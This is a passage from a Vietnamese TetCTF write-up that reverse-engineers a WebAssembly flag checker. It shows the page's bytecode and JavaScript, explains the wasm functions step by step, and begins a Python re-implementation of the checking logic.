class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">2</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">226</span>, <span class="hljs-number">5</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">3</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">194</span>, <span class="hljs-number">173</span>, <span class="hljs-number">2</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">4</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">193</span>, <span class="hljs-number">242</span>, <span class="hljs-number">3</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">5</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">135</span>, <span class="hljs-number">5</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">6</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">193</span>, <span class="hljs-number">6</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">7</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">242</span>, <span class="hljs-number">240</span>, <span class="hljs-number">3</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">8</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">166</span>, <span class="hljs-number">243</span>, <span class="hljs-number">2</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">9</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">238</span>, <span class="hljs-number">3</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">10</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">151</span>, <span class="hljs-number">5</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">11</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">229</span>, <span class="hljs-number">241</span>, <span class="hljs-number">2</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">12</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">225</span>, <span class="hljs-number">139</span>, <span class="hljs-number">4</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">13</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">129</span>, <span class="hljs-number">5</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">14</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">151</span>, <span class="hljs-number">6</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">15</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">174</span>, <span class="hljs-number">137</span>, <span class="hljs-number">4</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">16</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">225</span>, <span class="hljs-number">149</span>, <span class="hljs-number">2</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">17</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">177</span>, <span class="hljs-number">4</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">18</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">161</span>, <span class="hljs-number">5</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">19</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">234</span>, <span class="hljs-number">147</span>, <span class="hljs-number">2</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">20</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">127</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">5</span>, <span class="hljs-number">65</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">11</span>, <span class="hljs-number">218</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">0</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">0</span>, <span class="hljs-number">106</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">2</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">1</span>, <span class="hljs-number">107</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">2</span>, <span class="hljs-number">65</span>, <span class="hljs-number">3</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">2</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">2</span>, <span class="hljs-number">108</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">3</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">3</span>, <span class="hljs-number">115</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">5</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">4</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">4</span>, <span class="hljs-number">106</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">6</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">5</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">5</span>, <span class="hljs-number">107</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">2</span>, <span class="hljs-number">65</span>, <span class="hljs-number">7</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">6</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">6</span>, <span class="hljs-number">108</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">7</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">7</span>, <span class="hljs-number">115</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">9</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">8</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">8</span>, <span class="hljs-number">106</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">10</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">9</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">9</span>, <span class="hljs-number">107</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">2</span>, <span class="hljs-number">65</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">10</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">10</span>, <span class="hljs-number">108</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">8</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">11</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">11</span>, <span class="hljs-number">115</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">13</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">12</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">12</span>, <span class="hljs-number">106</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">14</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">13</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">13</span>, <span class="hljs-number">107</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">2</span>, <span class="hljs-number">65</span>, <span class="hljs-number">15</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">14</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">14</span>, <span class="hljs-number">108</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">12</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">15</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">15</span>, <span class="hljs-number">115</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">17</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">16</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">16</span>, <span class="hljs-number">106</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">18</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">17</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">17</span>, <span class="hljs-number">107</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">2</span>, <span class="hljs-number">65</span>, <span class="hljs-number">19</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">18</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">18</span>, <span class="hljs-number">108</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">16</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">19</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">19</span>, <span class="hljs-number">115</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">16</span>, <span class="hljs-number">5</span>, <span class="hljs-number">11</span>, <span class="hljs-number">0</span>, <span class="hljs-number">45</span>, <span class="hljs-number">4</span>, <span class="hljs-number">110</span>, <span class="hljs-number">97</span>, <span class="hljs-number">109</span>, <span class="hljs-number">101</span>, <span class="hljs-number">1</span>, <span class="hljs-number">38</span>, <span class="hljs-number">7</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">49</span>, <span class="hljs-number">1</span>, <span class="hljs-number">4</span>, <span class="hljs-number">105</span>, <span class="hljs-number">110</span>, <span class="hljs-number">105</span>, <span class="hljs-number">116</span>, <span class="hljs-number">2</span>, <span class="hljs-number">10</span>, <span class="hljs-number">97</span>, <span class="hljs-number">114</span>, <span class="hljs-number">114</span>, <span class="hljs-number">97</span>, <span class="hljs-number">121</span>, <span class="hljs-number">95</span>, <span class="hljs-number">102</span>, <span class="hljs-number">105</span>, <span class="hljs-number">108</span>, <span class="hljs-number">108</span>, <span class="hljs-number">3</span>, <span class="hljs-number">1</span>, <span class="hljs-number">51</span>, <span class="hljs-number">4</span>, <span class="hljs-number">1</span>, <span class="hljs-number">52</span>, <span class="hljs-number">5</span>, <span class="hljs-number">1</span>, <span class="hljs-number">53</span>, <span class="hljs-number">6</span>, <span class="hljs-number">5</span>, <span class="hljs-number">99</span>, <span class="hljs-number">104</span>, <span class="hljs-number">101</span>, <span class="hljs-number">99</span>, <span class="hljs-number">107</span>];

<span class="hljs-keyword">const</span> byte_code = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(code);

<span class="hljs-keyword">const</span> wasmModule = <span class="hljs-keyword">new</span> WebAssembly.Module(byte_code);
<span class="hljs-keyword">const</span> wasmInstance = <span class="hljs-keyword">new</span> WebAssembly.Instance(wasmModule, {});
<span class="hljs-keyword">const</span> wasm = wasmInstance.exports;

<span class="hljs-keyword">const</span> consoleDiv = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'console'</span>);
<span class="hljs-keyword">const</span> inputField = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'input'</span>);

inputField.addEventListener(<span class="hljs-string">'keydown'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">event</span>) </span>{
    <span class="hljs-keyword">if</span> (event.key === <span class="hljs-string">'Enter'</span>) {
        <span class="hljs-keyword">const</span> inputText = inputField.value;
        processInput(inputText);
        inputField.value = <span class="hljs-string">''</span>;
    }
});

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">processInput</span>(<span class="hljs-params">text</span>) </span>{
    <span class="hljs-keyword">const</span> p = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'p'</span>);
    <span class="hljs-keyword">if</span> (text.startsWith(<span class="hljs-string">'TetCTF{'</span>) &amp;&amp; text.endsWith(<span class="hljs-string">'}'</span>) &amp;&amp; text.length === <span class="hljs-number">27</span>) {

        <span class="hljs-keyword">let</span> array_size = <span class="hljs-number">20</span>;
        <span class="hljs-keyword">let</span> array_obj = wasm.init(array_size);

        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; array_size; i++) {
            wasm.array_fill(array_obj, i, text.charCodeAt(i + <span class="hljs-number">7</span>));
        }
        <span class="hljs-keyword">if</span> (wasm.check(array_obj)) {
            p.textContent = <span class="hljs-string">'&gt; Correct!'</span>;
        } <span class="hljs-keyword">else</span> {
            p.textContent = <span class="hljs-string">'&gt; Incorrect!'</span>;
        }
    } <span class="hljs-keyword">else</span> {
        p.textContent = <span class="hljs-string">'&gt; Incorrect!'</span>;
    }
    consoleDiv.appendChild(p);
    consoleDiv.scrollTop = consoleDiv.scrollHeight;
}
</code></pre>
<p>Đầu tiên là kiểm tra format của flag, flag phải bắt đầu bằng <code>TetCTF{</code> và kết thúc bằng <code>}</code> và độ dài của flag phải là 27 ký tự.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706750023597/e5dc8c76-1243-4e63-be54-9909e6d6f2f2.png" alt class="image--center mx-auto" /></p>
<p>Tiếp theo trang web có dùng wasm để xử lý input của người dùng.</p>
<p>Ở đây có thể có tool để decompile wasm, nhưng tôi đọc chay.</p>
<p>Cách đọc cũng không có gì đặc biệt, chỉ là đặt breakpoint, debug dần, xem các giá trị của các biến, stack, hàm được gọi để hiểu được chương trình làm gì.</p>
<p>Tổng quan một số hàm:</p>
<p><code>init</code>: gọi <code>$1</code> để khởi tạo các phần tử <code>$global</code> (thể hiện trong mảng <code>global_arr</code> ở đoạn code python bên dưới) bằng cách xor với các giá trị định sẵn (thể hiện trong mảng <code>key</code>).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706750100029/8a61b857-d4e2-4306-a10f-017b882ac8ec.png" alt class="image--center mx-auto" /></p>
<p><code>array_fill</code>: lấy 20 ký tự của flag, từ ký tự thứ 7 đến ký tự thứ 26, cộng với 19 và 64 và lưu vào mảng <code>array_obj</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706750172666/f80e8aab-3823-403e-a9a0-3c609c8bb515.png" alt class="image--center mx-auto" /></p>
<p><code>$3</code>: là hàm tìm giá trị tại vị trí <code>index</code> của mảng <code>array_obj</code>.</p>
<p><code>$4</code>: là hàm biến đổi <code>array_obj</code>, có sử dụng các phần tử <code>$global</code>. Tổng cộng 4 cách biến đổi khác nhau, tùy thuộc vào giá trị được truyền vào.</p>
<p><code>$5</code>: so sánh từng phần tử của mảng <code>array_obj</code> với các giá trị đích (thể hiện trong mảng <code>target</code> ở đoạn code python bên dưới).</p>
<p><code>check</code>: biến đổi mảng <code>array_obj</code> bằng cách gọi hàm <code>$3</code>, <code>$4</code>, cuối cùng là gọi hàm <code>$5</code> để so sánh kết quả.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706750201925/34b832a4-33b2-46cc-b32b-ed26aecad1b2.png" alt class="image--center mx-auto" /></p>
<p>Tôi có viết lại đoạn code mô tả lại cách hoạt động của chương trình.</p>
<pre><code class="lang-python">global_arr = [<span class="hljs-number">96</span>, <span class="hljs-number">101</span>, <span class="hljs-number">20</span>, <span class="hljs-number">177</span>, <span class="hljs-number">155</span>, <span class="hljs-number">116</span>, <span class="hljs-number">108</span>, <span class="hljs-number">69</span>, <span class="hljs-number">84</span>, <span class="hljs-number">109</span>, <span class="hljs-number">103</span>, <span class="hljs-number">110</span>, <span class="hljs-number">111</span>, <span class="hljs-number">95</span>, <span class="hljs-number">116</span>, <span class="hljs-number">103</span>, <span class="hljs-number">97</span>, <span class="hljs-number">72</span>, <span class="hljs-number">20</span>, <span class="hljs-number">59</span>]

key = [<span class="hljs-number">19</span>, <span class="hljs-number">55</span>, <span class="hljs-number">32</span>, <span class="hljs-number">36</span>, <span class="hljs-number">19</span>, <span class="hljs-number">55</span>, <span class="hljs-number">32</span>, <span class="hljs-number">36</span>, <span class="hljs-number">19</span>, <span class="hljs-number">55</span>, <span class="hljs-number">32</span>, <span class="hljs-number">36</span>, <span class="hljs-number">19</span>, <span class="hljs-number">55</span>, <span class="hljs-number">32</span>, <span class="hljs-number">36</span>, <span class="hljs-number">19</span>, <span class="hljs-number">55</span>, <span class="hljs-number">32</span>, <span class="hljs-number">36</span>]

array_obj = [<span class="hljs-number">0</span>] * <span class="hljs-number">20</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">init</span>():</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(global_arr)):
        global_arr[i] ^= key[i]

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">fill_array</span>(<span class="hljs-params">input_text</span>):</span>
